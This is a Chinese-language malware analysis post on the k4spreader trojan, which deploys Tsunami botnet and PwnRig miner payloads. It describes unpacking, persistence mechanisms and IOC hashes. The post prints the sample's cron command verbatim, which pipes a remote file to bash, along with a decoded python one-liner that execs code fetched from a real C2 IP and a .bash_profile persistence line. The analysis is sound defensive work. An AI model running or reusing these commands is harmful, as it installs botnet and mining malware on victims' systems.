概述
近日,笔者在浏览微博的时候,无意间发现XX大佬发了一条微博,微博中贴了一张图,图中展示了部分被k4spreader木马感染的国内企业和单位列表(近50余家),好奇心驱使,笔者就简单跟进了一下此事件,发现此事件也是最近才被奇安信X实验室曝光,相关事件报告为《8220挖矿团伙的新玩具:k4spreader》。通过详细的对事件报告进行研读,笔者也基本清楚了整个事件的攻击链路,同时笔者也尝试基于报告中的Hash信息下载了对应的样本进行分析,通过分析对比,笔者发现,此事件报告主要是从宏观角度进行的技术分享,并未对每个样本里面的技术手法细节进行分享。因此,笔者在这里就将自己的样本分析过程分享出来,供大家学习交流。
相关微博截图如下:
微博上关于被感染企业和单位的截图如下:
v1版本样本
单层UPX加壳
查壳发现此样本被UPX加壳,直接在kali系统中使用upx -d
命令即可对此样本做脱壳处理。
大量k4spreader字符串
使用IDA对此样本进行反编译,发现此样本是由Golang语言编写,反编译后的函数名包含k4spreader字符串。
文件锁
尝试动态运行此样本,发现此样本的入口函数为main_main()
,样本运行后,将通过文件锁的方式确保系统中只运行一个木马实例。
具体功能实现函数为:main_checkLockFilesAndRun
,运行后将调用开源https://github.com/gofrs/flock
库的功能,在/tmp/
目录中创建.klibsystem4.lock
隐藏文件,此文件中将存放当前进程PID
信息。
代码运行过程中,将使用syscall指令
触发系统调用。
执行回显
样本运行过程中,将打印字符串信息Secured\n
。
自我复制
样本运行过程中,将通过调用k4spreader_utils_SelfReplicate
函数实现自我复制。
获取当前进程的有效用户ID
样本将使用syscall指令
触发getuid函数调用,获取当前进程的有效用户ID,然后根据用户ID选择不同自我复制方式:
- root用户:返回0,调用k4spreader_utils_SetupAndStartKnlibService函数、k4spreader_utils_CreateSystemService函数
- 非root用户:返回非0,调用k4spreader_utils_AddLineToBashProfile函数
修改bash
调用k4spreader_utils_AddLineToBashProfile函数实现自我复制,在用户目录下的.bash_profile文件(.bash_profile文件在用户登录时被执行,其主要作用是配置和初始化用户的命令行环境,以及提供一个自定义和控制登录行为的地方)中添加字符串,字符串内容为:
cp -f -r -- /bin/klibsystem4 2>/dev/null && /bin/klibsystem4 >/dev/null 2>&1 && rm -rf -- /bin/klibsystem4 2>/dev/null
添加系统服务
通过调用k4spreader_utils_SetupAndStartKnlibService函数,创建/etc/init.d/knlib文件以实现添加系统服务的功能。
通过调用k4spreader_utils_CreateSystemService函数,创建/etc/systemd/system/knlibe.service文件以实现添加系统服务的功能。
复制自身至/bin/knlib
将当前样本复制至/bin/knlib路径,便于相关系统服务调用。
执行go协程
执行完前序持久化驻留代码后,样本将创建go协程,用于执行恶意功能。
创建计划任务
通过调用k4spreader_utils_MakeCron函数,实现如下操作:
- 调用k4spreader_utils_GetDownloadRoute函数外联获取2.gif载荷下载地址;(笔者推测的,若有误,欢迎指出)
- 字符串拼接;指令功能:每10分钟执行一次外联下载2.gif、d.py;
echo '*/10 * * ** (curl -s %s/2.gif || wget -q -O - %s/2.gif ||lwp-download %s/2.gif /tmp/2.gif) | bash -sh; bash /tmp/2.gif; rm -rf /tmp/2.gif; echo cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDY6NDQzL2QucHkiKS5yZWFkKCkpJyB8fCBweXRob24yIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDYvZC5weSIpLnJlYWQoKSkn | base64 -d| bash' | crontab -
cHl0aG9uIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDY6NDQzL2QucHkiKS5yZWFkKCkpJyB8fCBweXRob24yIC1jICdpbXBvcnQgdXJsbGliO2V4ZWModXJsbGliLnVybG9wZW4oImh0dHA6Ly8xODUuMTcyLjEyOC4xNDYvZC5weSIpLnJlYWQoKSkn
#base64解码
python -c 'import urllib;exec(urllib.urlopen("http://185.172.128.146:443/d.py").read())' || python2 -c 'import urllib;exec(urllib.urlopen("http://185.172.128.146/d.py").read())'
- 执行指令,以实现创建计划任务;
释放并运行文件
通过调用k4spreader_utils_ExecuteEmbeddedBin函数,实现从自身释放bi.64和bin.64文件,释放的文件为Tsunami僵尸网络和PwnRig挖矿病毒。
运行释放文件后,样本将删除释放文件。
外联下载
若释放文件失败,则样本将外联下载Tsunami僵尸网络和PwnRig挖矿病毒程序。
v2版本样本
单层UPX加壳
查壳发现此样本被UPX加壳,直接在kali系统中使用upx -d
命令即可对此样本做脱壳处理。
防火墙指令
此样本运行后,将执行命令,执行关闭防火墙等操作。
v3版本样本
第一层UPX加壳
查壳发现此样本被UPX加壳,直接在kali系统中使用upx -d
命令即可对此样本做脱壳处理。
释放文件
对脱壳的样本进行分析,发现此样本的反编译代码并非k4spreader木马代码;进一步分析,发现此样本运行后,将在/tmp/目录释放文件。
第二层UPX加壳
查壳发现释放文件也被UPX加壳处理,再次脱壳后分析,发现此样本即为k4spreader v3版本样本。
相关IOC
7bade55726a3a6e86d809836d1bc43f4f7702ecde9ceed80a09876c2efeff8d4 - v1
f998aeb84da8b84723ca9fdbdeb565dbc7938bd0a0ce5f0981307b3e24bdf712 - v2
0897b1d3e3e453c160bf8d28a041eee3bd29e43a6f063faed7d3cb83a86b88cc - v2
a980b1b0387534da7c9a321f7d450c02087f7a8445fc86b77785da0c510bbaa8 - v2
31fd924b9a5747befdf61c03b02c90d3c2ba93c8e1a9f798e6dfefe23767e1ae - v3
20d08d27631ae9bab8f3cb7cddd9b35fb75e5bee5764072f77ac3b4513307838 - v3